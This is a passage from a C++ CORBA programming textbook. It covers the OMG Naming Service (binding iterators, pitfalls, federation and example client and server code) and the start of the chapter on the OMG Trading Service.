This requirement complicates development because the client must run an event loop, 
and (depending on the ORB) the client may also need to be multithreaded to avoid 
deadlock. In addition, because IIOP is a unidirectional protocol, push iterators require 
that an extra connection be opened for the calls on the iterator. With a pull model, on the 
other hand, all interactions can take place over the same single connection. For these 
reasons, the Naming Service uses pull iterators. 

18.7.4 Naming Service Iterators 

Here is the IDL used by the Naming Service to give you access to the bindings in a 
context: 
       
module CosNaming { 
    // ... 
    enum BindingType { nobject, ncontext }; 
     
    struct Binding { 
        Name    binding_name; 
        BindingType binding_type; 
        }; 
        typedef sequence<Binding> BindingList; 
         
        interface BindingIterator; // Forward declaration 
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        interface NamingContext { 
            // ... 
            void  list( 
                      in unsigned long  how_many, 
                      out BindingList   bl, 
                      out BindingIterator it 
                  ); 
        }; 
 
        interface BindingIterator { 
            boolean next_one(out Binding b); 
            boolean next_n( 
                        in unsigned long  how_many, 
                        out BindingList   bl 
                   ); 
            void  destroy(); 
        }; 
}; 
 
      

list 

The list call for the Naming Service follows the pattern for pull iterators. The initial 
batch of bindings is returned in the out parameter bl, and the out parameter it contains 
a reference to an iterator if not all bindings can be returned with the first call. 
 
The how_many parameter allows you to specify the maximum number of bindings to be 
returned with the first call. A call to list is guaranteed to return no more than 
how_many bindings in the bl parameter. However, it may return fewer because the 
Naming Service may enforce a limit lower than the one you request with how_many. 
Setting how_many to zero permits you to retrieve all results via an iterator because it 
forces the initial result sequence to be empty. 
 
If the call to list returns all the bindings in the context, the it iterator reference is nil. 
Otherwise, it points at an iterator of type BindingIterator that you can use to 
retrieve the remaining bindings. 

next_n 

The next_n operation on the iterator returns the next how_many bindings in the 
parameter bl. As with list, there may be fewer sequence elements in bl than you 
requested with how_many because the operation may choose, for example, to never 
return more than some fixed number of bindings. A value of zero for how_many raises a 
BAD_PARAM exception. 
 
The return value from next_n tells you whether the bl parameter contains valid 
bindings. If this call to next_n returned bindings, the return value is TRUE. If this call 
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to next_n returned no bindings, the return value is FALSE, and the value of bl is 
undefined (most likely the returned sequence will have zero elements). 

next_one 

The next_one operation returns a single binding at a time in the out parameter b. The 
return value indicates whether b contains a valid binding. If the return value is TRUE, b 
contains the next binding. If the return value is FALSE, iteration is complete and the 
value of b is undefined. 
 
We recommend that you do not use next_one because it requires a remote call for 
every single binding. It is more efficient to use next_n to retrieve bindings in batches of 
100 bindings or so. In addition, next_one is redundant because you can achieve the 
same thing by calling next_n with a how_many value of 1. 

destroy 

The destroy operation permanently destroys the iterator. You can call destroy at 
any time even before you have retrieved all bindings from the context. However, you 
must call destroy eventually even if you retrieve all bindings. 

Interpreting a Binding List 

As you saw on page 803, iterator operations return a BindingList: 
        
enum BindingType { nobject, ncontext }; 
 
struct Binding { 
    Name    binding_name; 
    BindingType binding_type; 
}; 
typedef sequence<Binding> BindingList; 
 
       
Each binding in the sequence is a pair. The binding_name member of the Binding 
structure provides the name of the binding, and the binding_type member indicates 
the type of object denoted by the binding. If the type is ncontext, the object bound 
with the name is a naming context. If the type is nobject, the object is an ordinary 
application object (and therefore a leaf in the naming graph). 
 
A binding list contains only names for the bindings immediately contained in the context; 
it does not contain bindings in subcontexts. For example, listing the app2 context in 
Figure 18.7 returns only the bindings devices and collections. As a result, the 
binding_name member of the Binding structure is always a sequence of length 1. 

Iterating Over a Naming Context 
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The following code example prints all bindings in a context. The logic to iterate over the 
context is contained in list_context, which prints the bindings contained in the 
context passed as the nc parameter. show_chunk is a simple helper function that prints 
the contents of a binding list: 
        
void 
show_chunk(const CosNaming::BindingList & bl)  // Helper function 
{ 
 
    for (CORBA::ULong i = 0; i < bl.length(); i++) { 
     
         cout << bl[i].binding_name[0].id; 
         if (bl[i].binding_name[0].kind[0] != '\0') 
         cout << "(" << bl[i].binding_name[0].kind << ")"; 
         if (bl[i].binding_type == CosNaming::ncontext) 
             cout << ": context" << endl; 
         else 
          
             cout << ": reference" << endl; 
    } 
     
} 
 
void 
list_context(CosNaming::NamingContext_ptr nc) 
{ 
    CosNaming::BindingIterator_var it;   // Iterator reference 
    CosNaming::BindingList_var bl;     // Binding list 
    const CORBA::ULong CHUNK = 100;     // Chunk size 
 
    nc->list(CHUNK, bl, it);        // Get first chunk 
    show_chunk(bl);             // Print first chunk 
     
    if (!CORBA::is_nil(it)) {        // More bindings? 
        while (it->next_n(CHUNK, bl))    // Get next chunk 
            show_chunk(bl);         // Print chunk 
        it->destroy();           // Clean up 
    } 
} 
 
       
This code prints each binding on a separate line. If the kind field is a non-empty string, 
it is shown in parentheses following the id field. Each line also shows the binding type. 
Here is some example output: 
        
user(dir): context 
controller: reference 
thermostats: context 
thermometers: context 
 
       
Only the user binding in this context has a non-empty kind field with value dir, and 
the remainder of the bindings use the empty string as the kind field. Also note that the 
output is not sorted—it is up to you to sort bindings for display purposes. 
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To minimize the number of remote calls, list_context retrieves bindings in lots of 
100. However, it does not rely on receiving exactly 100 bindings with each call. Instead, 
the length of the binding list is used to control the loop in show_chunk. This technique 
ensures that the code works correctly even if the Naming Service chooses to return no 
more than 50 bindings per call. 
 
The second part of list_context is executed only if list returned an iterator. Note 
that we take care to call destroy on the iterator before returning. 

Destroying Iterators 

You must explicitly call destroy on an iterator object. If you do not call destroy, the 
Naming Service has no way of knowing when you are finished with the iterator. Consider 
a scenario in which a malicious client calls list repeatedly, creating an iterator object 
with each call, but never calls destroy on these iterators. The Naming Service creates 
more and more iterators for the client but never gets a chance to destroy them. Eventually, 
this leads to failure of the service or at least causes performance problems because of 
excessive memory consumption. 
 
A high-quality implementation of the service will actively take steps to protect itself 
against this scenario. There are several ways in which a server can avoid running out of 
memory. For example, the server could place an upper limit on the total number of 
iterators that may exist at one time and refuse to create more iterators when that limit is 
exceeded. Alternatively, a server can monitor activity of its iterator objects and destroy 
any iterators that have not been used for some time. 
 
The CORBA specification does not state exactly how a server should protect itself 
against "iterator pileup" (or that it must protect itself at all), so you should ask your 
vendor exactly how the service deals with this scenario. However, as a client to the 
service, it can happen to you (albeit rarely) that a perfectly good iterator stops working 
and that a call to next raises OBJECT_NOT_EXIST. In that case, the server probably 
found itself with too many iterators and destroyed the one you were using. 
 
A high-quality implementation does not indiscriminately destroy iterators. Instead, it 
destroys those iterators that have been idle for a long time and are therefore likely to be 
no longer in use. However, a robust client should deal with an OBJECT_NOT_EXIST 
exception during iteration. The most likely recovery behavior is to restart iteration from 
the beginning. 
 
This scenario is not limited to the Naming Service. In fact, it can arise whenever a server 
provides life cycle operations for objects. The problem is caused by the fact that the 
server creates an object on behalf of the client but relies on the client to eventually 
destroy the object. (This is similar to allocating memory in the callee and relying on the 
caller to deallocate it.) 
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CORBA does not have a built-in mechanism that lets a server detect when a client loses 
interest in an object. In particular, CORBA does not provide automatic distributed 
garbage collection. If you require such a mechanism, you must implement it yourself (we 
discuss some options for doing this in Chapter 12). 

18.8 Pitfalls in the Naming Service 

Following are some pitfalls you may encounter when using the Naming Service. You 
should avoid these snares because they compromise portability. (Different 
implementations of the Naming Service may have different behavior.) 
 
Nil references  As mentioned on page 787, the OMG Naming Service permits you to 
advertise a nil reference even though it is rather pointless. You should make it a habit 
never to advertise nil references. However, you cannot rely on other developers 
exercising the same diligence, so when you resolve a name, it is good practice to test 
whether the reference returned by resolve is nil.  
 
Transient references  You should advertise only persistent references in the Naming 
Service. If you advertise transient references and your server shuts down, the bindings 
created by the server will dangle and make life difficult for clients.  
 
Unusual names  The Naming Service specification places no restrictions on the 
characters that can be contained in a name component, and it even permits the empty 
string as a legal value of the id and kind fields. Despite this, you should restrict 
yourself to simple names composed of printable characters and should avoid 
metacharacters such as "*," "?,""/," "," and "'" because some implementations have 
problems handling such characters correctly. In addition, if you avoid metacharacters it is 
easier to use command-line tools to administer the service.  
 
Orphaned contexts  Take care when destroying a context. You must both destroy the 
context and unbind it from its parent context. Failure to destroy the context leaves an 
orphaned context, and failure to unbind the context leaves a dangling binding. Be careful 
to use the correct name for rebind, and avoid using rebind_context.  
 
Iterator pileup  If you iterate over a naming context, make sure that you call destroy 
when you are finished with the iterator. This practice makes life easier for the server 
because you are not tying up server-side resources for longer than necessary. If you 
create an iterator, use it promptly. This minimizes the likelihood of having your iterator 
destroyed if the server encounters a resource shortage.  
 
Iterator lifetime  Although the specification does not require this, most implementations 
of the Naming Service are likely to use a POA with the TRANSIENT policy for iterators. 
This means that you cannot expect iterator references to survive shut-down of the 
Naming Service.  
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Implementation limits  Many implementations of the Naming Service have restrictions 
on the length of a name component or the number of bindings per context. If you expect 
to be able to store a name component containing a 1MB id field, you may well stretch 
the implementation beyond its design limits. Similarly, if you create a million bindings in 
the same context, you may exceed an implementation limit or end up with very poor 
performance.  
 
Another aspect worth examining is the scalability of the service. Some implementations 
give very good performance even if you have millions of bindings stored in the service, 
whereas others bog down and perform poorly when there are more than a few thousand 
bindings. If you need your Naming Service to store large numbers of references, inquire 
with the vendor to see whether the implementation meets your needs. 
 
Intervendor federation  If you federate Naming Services from different vendors, you 
must check that all services can store all the names you use. If one vendor places limits 
on the characters that may occur in a name component or on the maximum length of a 
component, you may encounter interoperability problems between the implementations.  

18.9 The Names Library 

The OMG Naming Service specification also describes a Names Library. The interface to 
the Names Library (expressed in pseudo-IDL) allows you to treat names as programming 
language objects. However, name objects are implemented as library code and cannot be 
sent over the wire, so their use is limited to the local address space. 
 
The Names Library adds almost no value to the functionality of the basic Naming Service 
IDL, so we do not show its use (see [21] for the complete definition). Also, not all 
vendors provide an implementation of the Names Library, so you should probably avoid 
using it.[7]  

[7] The revised Naming Service will most likely drop the Names Library. 

18.10 Naming Service Tools 

Vendors usually provide a number of tools with their Naming Service. Typically, these 
tools include one or more clients that allow you to manipulate the naming graph from the 
command line. Such tools are useful for system administration and for use in installation 
scripts. Some vendors also provide tools that allow you to locate and rebind orphaned 
contexts and to detect dangling bindings. In addition, some vendors provide a tool that 
allows you to manipulate a naming graph via a graphical user interface that is similar to a 
file manager. 
 
Naming Service tools are not required or specified by CORBA, so we do not cover them 
here. However, you should take a close look at the level of tool support if you decide to 
buy a Naming Service. As is typical for infrastructure software, the tools provided by 
your vendor can be as important as the infrastructure itself. 
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18.11 What to Advertise 

Clearly, the Naming Service allows you advertise your application objects. The question 
is, which objects should you advertise? For example, for the climate control system you 
could simply advertise the controller object, or you could also choose to create a binding 
for each thermometer and thermostat. Either approach can be useful, and each has its 
advantages and disadvantages. 
 
Advertising only the controller has the advantage of simplicity—there is less code to 
write. In addition, if the CCS server never talks to the Naming Service, performance will 
be better. 
 
Advertising all devices in the Naming Service has the advantage that you need not 
provide collection manager operations, such as list and find. On the other hand, if 
you implement these operations yourself, they will likely be faster than the Naming 
Service because clients must communicate only with the CCS server instead of having to 
contact two servers. In addition, you can use efficient data structures for the 
implementation of list and find to make these operations very fast. However, the 
list and find operations are non-standard, whereas you can assume that all CORBA 
clients will be familiar with the Naming Service. 
 
If you advertise all thermometers and thermostats in the Naming Service, you have a 
convenient way for clients to locate devices via a standard interface. If you have a very 
large number of devices, you can take advantage of a hierarchical context structure to 
provide various namespaces for different devices. If you require such a hierarchical 
arrangement, the Naming Service is probably a better choice than writing custom 
collection manager operations yourself. The additional development effort is rarely worth 
it. 
 
The major drawback of advertising everything is the potential maintenance problem. If 
the CCS server crashes at the wrong moment, it may leave a binding to an already 
destroyed device in the Naming Service. Conversely, if the Naming Service crashes, the 
CCS server can no longer create or remove bindings. In that case, it is probably best for 
the CCS server to deny service; it should not allow clients to create or destroy devices 
until the Naming Service becomes available again. (Otherwise, any inconsistencies 
between which devices exist and which devices are advertised will become worse.) 
 
Which option you choose for your applications depends on your requirements. Clearly, 
you can achieve the best reliability and performance by using the Naming Service as little 
as possible. Against this, you must consider the cost of providing equivalent functionality 
yourself. 
 
Most applications advertise only a few key objects in the Naming Service and use 
customized collection manager operations (such as find) for other application objects. 
This design minimizes dependence on the Naming Service and avoids the problems that 
can be caused by dangling bindings, and that in turn simplifies error recovery. 



IT-SC book: Advanced CORBA® Programming with C++ 

 702 

One way to deal with dangling bindings is to write your clients so that they unbind 
dangling references. When a client receives an object reference from the service, it 
invokes a ping operation on the object (see page 255). If the operation raises 
OBJECT_NOT_EXIST, the client removes the binding. You can also periodically ping 
objects that are bound into the Naming Service by using a separate client program written 
especially for that purpose (some vendors provide a tool that does this). 
 
As almost always in distributed systems design, there are no hard and fast rules, only 
guidelines. Ultimately, you must make your own decision depending on your 
requirements. 

18.12 When to Advertise 

Exactly when to add and remove advertisements for your objects again depends on which 
objects you advertise. If you advertise only a few key objects, it is typically easiest to do 
it once only during installation and configuration of your software. For added safety, you 
can also provide a simple tool that re-creates the bindings for an installed application, 
thereby enabling recovery from corruption of or loss of the Naming Service. 
 
If you advertise all your objects, it is typically best to link the creation and removal of 
bindings to the life cycle operations for the objects. For example, in the climate control 
system, the factories for thermometers and thermostats can also take care of advertising 
each object in the Naming Service, and the remove operation can call unbind to 
ensure that the name for an object disappears from the Naming Service when the object is 
destroyed. However, if you care about robustness, this approach also requires an error-
handling strategy to deal with a non-functional Naming Service. (Typically, it is easiest 
to raise an exception and deny service if a factory or remove operation cannot reach the 
Naming Service.) 

18.13 Federated Naming 

Each binding in the Naming Service is provided by an IOR, so you can easily create a 
federated service. A federated service provides a single logical service to clients but 
consists of a number of physical servers, possibly in different remote locations. Federated 
services offer a number of advantages. 
 
Each server in a federation provides a subset of the complete graph. This arrangement 
improves reliability because if a single server fails, only bindings in the failed server 
become inaccessible. The portions of the graph maintained by other servers in the 
federation are still visible to clients. 
 
Servers in a federation share the processing load of the logical service. This improves 
performance because different servers can work in parallel to resolve bindings on behalf 
of different clients. 
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Federated servers spread the persistent storage for the graph over a number of machines, 
and that improves scalability. 
 
Federation of a service permits you to maintain distinct administrative domains while still 
providing a single logical service. For example, all the names for objects in each part of 
an organization can be stored locally in each organization's Naming Service, but the 
names for objects in all parts of the organization are visible to clients. 
 
To federate servers, you must get a reference to the initial naming context of one server 
across to another server. The question is, how do you achieve this? If the two servers are 
in different administrative domains and if no references exist from one domain into other, 
you cannot use a remote CORBA call to copy a reference from one domain into the other. 
The answer is that at least once, you must copy a stringified reference for an initial 
naming context across domains by out-of-band means, such as e-mail. After you have 
created the first binding from one Naming Service to another, further references become 
available across domains via the now federated Naming Service.[8]  

[8] The revised Naming Service will allow you to configure one ORB domain to access another 
domain's Naming Service without the need to exchange stringified references. Instead, 
knowledge of a machine name in the target domain will be sufficient. 

18.13.1 Fully Connected Federation Structure 

Figure 18.8 shows one way to provide a federated Naming Service. Assume that our 
famous Acme Corporation has branches in three states: California, Colorado, and 
Massachusetts. Each branch runs its own Naming Service, but clients want uniform 
names for all Acme objects regardless of their location. 

Figure 18.8 Fully connected federation structure with uniform names. 

 
With the configuration in Figure 18.8, each server's initial naming context contains a 
binding named with that server's location. In addition, each server contains bindings to its 
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neighbors that are labeled with the neighbors' locations. The net effect is that the same 
name denotes the same object, regardless of which initial naming context is used. 
 
Such a fully connected federation structure has the advantage that it provides uniform 
names to all clients. The major drawback is that it is difficult to administer: every time 
you add a new server, you must update all other servers in the federation. If there are 
more than five or so servers, maintenance becomes difficult because the number of cross-
links at the top level grows as O(n2). 

18.13.2 Hierarchical Federation Structure 

An alternative to a fully connected federation is to put servers into a hierarchical structure, 
as shown in Figure 18.9. A hierarchical structure is easier to maintain because you 
need to add only two bindings when you add a new server to the federation regardless of 
how many servers already exist in the federation. 

Figure 18.9 Hierarchical naming structure. 

 
In such a hierarchical structure, clients can still use the same name to denote the same 
object everywhere. However, clients must resolve names via the initial naming context of 
the root server and not via the initial naming context of their local server. This 
requirement can create a scalability problem because in a large federation, the root server 
can become a performance bottleneck. Hierarchical structures are also less resilient to 
failure than fully connected structures: if the root server fails, clients can no longer 
resolve names. 
 
There is also the question of how clients get the initial naming context of the root server. 
In Figure 18.9, we have added parent bindings to the initial naming context of each 
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regional server. Clients can use this binding to locate the root and then use root-relative 
names for all objects. 
 
Despite their slightly worse reliability and performance, hierarchical federation structures 
are used more often than fully connected structures. In part, this stems from the fact that 
hierarchical structures do not suffer the maintenance problems of fully connected 
structures. In addition, many real-world naming systems are naturally hierarchical. 
 
Telephone numbers are a classic example of hierarchical naming. You can model naming 
in such a hierarchy by installing naming servers at each level of the hierarchy, as shown 
in Figure 18.10. We show a path through the hierarchy corresponding to the number 
1-999-123-4567. 

Figure 18.10 Hierarchical structure modeling telephone exchanges. 

 
In such a structure, each server's initial naming context also contains a parent binding up 
to the initial naming context of the next-higher server. We use doubleheaded arrows to 
show these bindings in Figure 18.10. In the downward direction, each binding is 
labeled with a number, whereas in the upward direction, each binding has the label 
parent. 
 
When a subscriber dials a local number, the client uses the initial naming context of its 
local server to resolve it. If the number is not local, the client navigates via the parent 
bindings up to the server at the appropriate level and then uses the initial naming context 
of that server to resolve the number. The advantage of this arrangement is that local calls 
cause activity only in local servers, and only non-local calls involve servers higher up in 
the hierarchy. This improves both performance and fault tolerance. Servers at higher 
levels in the hierarchy are less likely to form a performance bottleneck, and failure of a 
high-level server does not prevent resolving of bindings for local calls. 

18.13.3 Hybrid Structures 

There is nothing to prevent you from arranging federated servers into topologies other 
than fully connected or tree structures. In fact, any arrangement of servers is allowed (you 
even can include loops in the federation structure). This flexibility is a major advantage 
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because you are free to choose whatever topology suits you best instead of being forced 
to adapt to a particular topology required by the service. 
 
Your choice of topology for a federation should be governed by two considerations. 
 
The federation structure should reflect the partitioning of your organization into 
administrative domains. The closer this match is, the easier it will be to maintain and 
modify the federation. 
 
The federation structure should reflect the frequency distribution of names used by clients. 
The most frequently used names should be resolved locally, and only less frequently used 
names should involve more than one server in the federation. This leads to better 
performance, scalability, and fault tolerance. 
 
As always, if you spend some time analyzing your federation requirements early, you 
will find that time amply repaid over the lifetime of a system that uses the federated 
service. 

18.14 Adding Naming to the Climate Control System 

The climate control system we have developed so far has the problem that the reference 
to the controller object is passed from the server to the client via a file. Clearly, this is not 
a distributed solution because either client and server must share a common file system, 
or the stringified reference to the controller must be copied from the server machine to 
the client machine. 
 
The Naming Service offers a clean solution to the problem. The server advertises the 
controller reference in the Naming Service, and the client locates the reference using its 
name. There still is some coupling between client and server because we assume that 
both client and server machines either use the same initial naming context or at least use 
initial naming contexts that are part of the same federation. However, the important point 
is that the coupling between client and server is much looser now. The client and server 
are coupled via an external service instead of having to share file systems. 
 
For the climate control system, we advertise only the controller reference in the Naming 
Service but do not advertise individual thermometers and thermostats. This makes sense 
because we already have the find operation, which allows clients to locate devices by 
their name (the asset number or room name). As we discuss in Section 18.11, this is 
not necessarily the only way to approach naming. Depending on your requirements and 
how much you are prepared to rely on the availability of the Naming Service, you may 
choose to advertise more than just a single bootstrapping object in the Naming Service. 

18.14.1 Generic Helper Functions 
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Before we show the details of how to update the client and the server, we present two 
helper functions to simplify the source code. Consider the typical sequence of steps to 
resolve a reference. 
Call resolve_initial_references to get a reference to the initial naming 
context. 
 
Narrow the returned reference to CosNaming::NamingContext. 
Test for nil to ensure that the reference is of the correct type. 
Create a name. 
Call resolve to obtain the reference corresponding to the name. 
Narrow the returned reference to its expected type. 
Test for nil to ensure that the reference is of the correct type. 
 
If you go through these steps as in-line code, you will find yourself writing similar code 
again and again. This not only makes your code harder to test and maintain but also 
makes it harder to understand because all the extra lines of code can obscure the intent 
(namely, to use a name to obtain an object reference). 
 
As always in such cases, you can use simple helper functions to improve your code 
considerably. 

Obtaining Initial References Generically 

We can create a simple resolve_init helper function that, given a token, returns the 
reference to the specified initial reference as its correct type. In other words, 
resolve_init not only obtains the reference but also calls _narrow. To obtain an 
initial reference—for example, to the Naming Service—we call resolve_init this 
way: 
        
CosNaming::NamingContext_var inc; 
inc = resolve_init<<CosNaming::NamingContext>(orb, "NameService"); 
 
       
Because resolve_init is a template function, we can use it to obtain other initial 
references—for example, for the Root POA: 
        
PortableServer::POA_var poa; 
poa = resolve_init<<PortableServer::POA>(orb, "RootPOA"); 
 
       
Following is the code for resolve_init. We include simple error handling here. As 
usual, we throw zero for handled exceptions that should terminate the program: 
        
template<<class T> 
typename T::_ptr_type 
resolve_init(CORBA::ORB_ptr orb, const char * id) 
{ 
  CORBA::Object_var obj; 
  try { 
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    obj = orb->resolve_initial_references(id); 
  } 
  catch (const CORBA::ORB::InvalidName & e){ 
    throw; 
  } 
  catch (const CORBA::Exception & e) { 
    cerr << "Cannot get initial reference for" 
             << id << ": " << e << endl; 
        throw 0; 
    } 
    assert(!CORBA::is_nil(obj)); 
    typename T::_var_type ref; 
    try { 
        ref = T::_narrow(obj); 
    } 
    catch (const CORBA::Exception & e) { 
        cerr << "Cannot narrow reference for" 
             << id << ": " << e << endl; 
        throw 0; 
    } 
    if (CORBA::is_nil(ref)) { 
        cerr << "Incorrect type of reference for" 
             << id << endl; 
        throw 0; 
    } 
    return ref._retn(); 
} 
 
       
This code illustrates use of the _ptr_type and _var_type aliases you saw in 
Section 7.6.1. The aliases permit us to use _ptr and _var references in the template 
function without having to declare additional template parameters for these types. 
Without the aliases, resolve_init would require three template parameters instead of 
one: 
        
template<<class T, class T_ptr, class T_var> 
T_ptr 
resolve_init(CORBA::ORB_ptr orb, const char * id) 
{ 
    // ... 
} 
// ... 
CosNaming::NamingContext_var inc; 
inc = resolve_init<< 
        CosNaming::NamingContext, 
        CosNaming::NamingContext_ptr, 
        CosNaming::NamingContext_var 
      >(orb, "NameService"); 
 
       
The _ptr_type and _var_type definitions allow us to avoid such verbose template 
instantiations.[9]  

[9] The _ptr_type and _var_type aliases were added to the mapping only recently. If your 
ORB does not yet provide them, you must use the three-parameter version of resolve_init. 
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Note that the C++ mapping also generates _var_type definitions for structures, unions, 
and sequences. If you want to create template functions that deal with these types, you 
can refer to the corresponding _var type from inside the template. 

Resolving Bindings Generically 

You can use a similar helper function to resolve bindings in a naming context. Again, the 
helper function hides the call to _narrow and provides error handling. The client calls it 
this way: 
        
CosNaming::NamingContext_var inc = ...; // Get initial context 
 
CosNaming::Name n; 
n.length(2); 
n[0].id = CORBA::string_dup("CCS"); 
n[1].id = CORBA::string_dup("Controller"); 
CCS::Controller_var ctrl; 
 
ctrl = resolve_name<<CCS::Controller>(inc, n); 
 
       
The resolve_name template function is quite similar to resolve_init: 
        
template<<class T> 
typename T::_ptr_type 
resolve_name( 
    CosNaming::NamingContext_ptr nc, 
    const CosNaming::Name & name) 
{ 
    CORBA::Object_var obj; 
    try { 
        obj = nc->resolve(name); 
    } 
    catch (const CosNaming::NamingContext::NotFound & e) { 
        throw; 
    } 
    catch (const CORBA::Exception & e) { 
        cerr << "Cannot resolve binding: " << e << endl; 
        throw 0;  
    } 
    if (CORBA::is_nil(obj)) { 
        cerr << "Nil binding in Naming Service" << endl; 
        throw 0; 
    } 
    typename T::_var_type ref; 
    try {ref = T::_narrow(obj); 
    } 
    catch (const CORBA::Exception & e) {cerr << "Cannot narrow 
reference: " << e << endl; 
        throw 0; 
    } 
    if (CORBA::is_nil(ref)) { 
        cerr << "Reference has incorrect type" << endl; 
        throw 0; 
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    } 
    return ref._retn(); 
} 
 
       

18.14.2 Updating the Climate Control System Server 

The Naming Service allows us to avoid passing a stringified IOR from server to client. 
For this example, whenever the climate control server starts, it readvertises the controller 
reference using the name CCS/Controller. The code uses the resolve_init 
template function defined in Section 18.14.1 to get a reference to the initial naming 
context: 
       
#include <CosNaming.hh> // ORB-specific 
 
// ... 
int 
main(int argc, char * argv[]) 
{ 
    try { 
        // ... 
 
        // Create controller servant and get its refe 
rence. 
        CCS::Controller_var ctrl = ...; 
 
        // Get reference to initial naming context. 
        CosNaming::NamingContext_var inc 
            = resolve_init<CosNaming::NamingContext>( 
                    orb, "NameService" 
              );  
 
        // Attempt to create CCS context. 
        CosNaming::Name n; 
        n.length(1); 
        n[0].id = CORBA::string_dup("CCS"); 
        try { 
            CosNaming::NamingContext_var nc 
                = inc->bind_new_context(n); 
        } catch (const CosNaming::NamingContext::Alre adyBound &) { 
            // Fine, CCS context already exists. 
        }  
 
        // Force binding of controller reference to make 
        // sure it is always up-to-date. 
        n.length(2); 
        n[1].id = CORBA::string_dup("Controller"); 
        inc->rebind(n, ctrl); 
 
        // ... 
    } 
    catch (const CORBA::Exception & e) { 
        cerr < "Uncaught CORBA exception: " < e < endl; 
        return 1; 



IT-SC book: Advanced CORBA® Programming with C++ 

 711

    } 
    catch (...) { 
        abort();    // Unexpected exception, dump core 
    } 
    return 0; 
} 
 
      
The server code includes the generated stub header file for the Naming Service. Note that 
the include directive for CosNaming.hh is ORB-specific because CORBA does not 
standardize the names or locations of header files. However, most ORBs ship with 
precompiled headers and stub libraries, so you do not have to separately compile the IDL 
for the Naming Service. 
 
The remainder of the code is trivial. After obtaining the initial naming context, the code 
attempts to create the CCS context by calling bind_new_context. If the context 
already exists, the operation raises AlreadyBound, which is ignored. The second step 
is to call rebind, which unconditionally creates a new binding for the controller or 
replaces whatever reference was previously bound with the name Controller. For a 
persistent server, strictly speaking it is not necessary to replace the reference if it is 
already bound. However, it does no harm and ensures that the reference is always up-to-
date even if the server was moved into a different location domain (see Chapter 14). 

18.14.3 Updating the Climate Control System Client 

The resolve_init and resolve_name template functions defined in Section 
18.14.1 make it trivial to modify the client to retrieve the controller reference from the 
Naming Service instead of the command line: 
       
#include <CosNaming.hh> // ORB-specific 
 
// ... 
 
int 
main(int argc, char * argv[]) 
{ 
    try { 
        // Initialize the ORB 
        CORBA::ORB_var orb = CORBA::ORB_init(argc, ar gv); 
 
        // Check arguments 
        if (argc != 1) { 
            cerr << "Usage: client" << endl; 
            throw 0; 
        } 
        // Get reference to initial naming context. 
        CosNaming::NamingContext_var inc 
            = resolve_init<<CosNaming::NamingContext>( 
                    orb, "NameService" 
              ); 
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        // Look for controller in the Naming Service. 
        CosNaming::Name n; 
        n.length(2); 
        n[0].id = CORBA::string_dup("CCS"); 
        n[1].id = CORBA::string_dup("Controller"); 
        CCS::Controller_var ctrl; 
        try {ctrl = resolve_name<CCS::Controller>(inc, n); 
        } catch (const CosNaming::NamingContext::NotF ound &) { 
            cerr < "No controller in Naming Service" < endl; 
            throw 0; 
        } 
 
        // ... 
    } catch (const CORBA::Exception & e) { 
        cerr < "Uncaught CORBA exception: " < e < 
endl; 
        return 1; 
    } catch (...) { 
        return 1; 
    } 
    return 0; 
} 
 

18.15 Summary 

The Naming Service provides a simple mechanism for servers to advertise objects by 
name and for clients to locate the objects by supplying the correct name. The Naming 
Service eliminates the need to pass stringified object references by out-of-band 
mechanisms, and that improves the reliability and maintainability of a system because the 
Naming Service provides a single logical repository for object references. Naming graphs 
can be federated over a number of servers to scale to a very large number of bindings. 
Choosing the correct federation structure is important for both scalability and 
maintainability. Often, a federation structure that reflects the administrative structure of 
an organization provides a good compromise. 
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Chapter 19. The OMG Trading Service 

19.1 Chapter Overview 

This chapter covers the OMG Trading Service, which provides a dynamic object 
discovery facility. Sections 19.2 to 19.4 present an overview of the major functional 
areas of the trader. Sections 19.5 to 19.9 explain the detailed functionality of the 
type repository and discuss how to export, withdraw, and modify service offers. Section 
19.10 covers the trader constraint language, and Section 19.11 shows how to 
retrieve service offers from a trader. Advanced aspects of trading, such as configuration, 
dynamic properties, and federation, are presented in Sections 19.12 to 19.16. The 
chapter concludes with a discussion of the architectural trade-offs of trading, deployment 
options, and dealing with duplicate service offers in Sections 19.17 to 19.20. We 
show how to use trading in the context of the climate control system in Section 19.21. 
The trading specification is large, and much of its functionality either relates to 
administration and configuration or deals with advanced features. As a result, much of 
this chapter is reference material that you may want to refer to as needed. 

19.2 Introduction 

The OMG Naming Service (see Chapter 18) permits a client to locate object 
references by supplying a symbolic name. This mechanism is sufficient for the client to 
locate an object provided that the client knows exactly what object it wants to use. The 
analogy with a white pages phone book is that in order to use it, you must know the name 
of the person you want to call. 
 
Frequently, clients require a more dynamic mechanism to locate objects. For example, a 
client may have some idea of what kind of object it needs but may not have all the 
information required to make a precise choice. The OMG Trading Service [21] provides 
functionality that allows clients to locate objects with the help of a trader. As with the 
Naming Service, a trader stores object references. However, instead of storing a name for 
each reference, a trader stores a description of the service provided by each reference. 
Clients perform dynamic lookup of services based on queries over the service 
descriptions. This mechanism, known as dynamic binding, enables a more dynamic 
mapping of selection criteria to object references. 
 
Traders are often likened to a Yellow Pages phone book. Instead of listing services by 
name, a Yellow Pages phone book categorizes entries by subject and describes each entry 
with further details, such as name, address, range of products and prices, and so on. 

19.3 Trading Concepts and Terminology 

Before we look at trading in detail, we present a number of concepts and terms that make 
the material easier to understand. 
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19.3.1 Basic Trading Concepts 

Here are some of the fundamental concepts and terms used in trading. 
 
A trader stores advertisements for services. A stored advertisement is known as a service 
offer. A service offer contains a description of the service as well as an object reference 
to an object that provides the service. Service offers also have a specific service type, 
which we discuss in the next section. 
 
The act of placing an advertisement is known as an export operation. The program or 
person who places the advertisement is called the exporter. 
 
The object reference inside a service offer denotes an object that provides the advertised 
service. That object is known as the service provider. After a service offer is exported, 
the service provider is immutable. You cannot change the object reference inside a 
service offer without deleting the offer and re-exporting it. 
 
The description of the service inside a service offer (the "text" of the ad) is provided by a 
number of name—value pairs called properties. In contrast to the service provider, 
property values can be updated in place. There is no need to delete and re-export an offer 
in order to update a service description. 
 
The same service provider can be advertised multiple times, typically with different 
property values. Drawing on the Yellow Pages analogy, this corresponds to advertising 
the same shop or service under different categories. 
 
A number of advertisements can have the same property values but different service 
providers. This corresponds to a single advertisement that lists multiple shops at different 
locations, as is often the case with franchises. 
 
Advertisements can be withdrawn, that is, deleted from a trader. 
 
Advertisements can be exported or withdrawn by a party other than the service provider. 
 
The act of searching the trader for a service provider that meets certain criteria is known 
as an import. 
 
These few explanations give you a basic picture of a trader. At the most basic level, a 
trader is a database that stores object references that are described by properties. We can 
export (add) new object references and their descriptions and withdraw (delete) them. In 
addition, we can update the properties (description) without deleting an offer, but we 
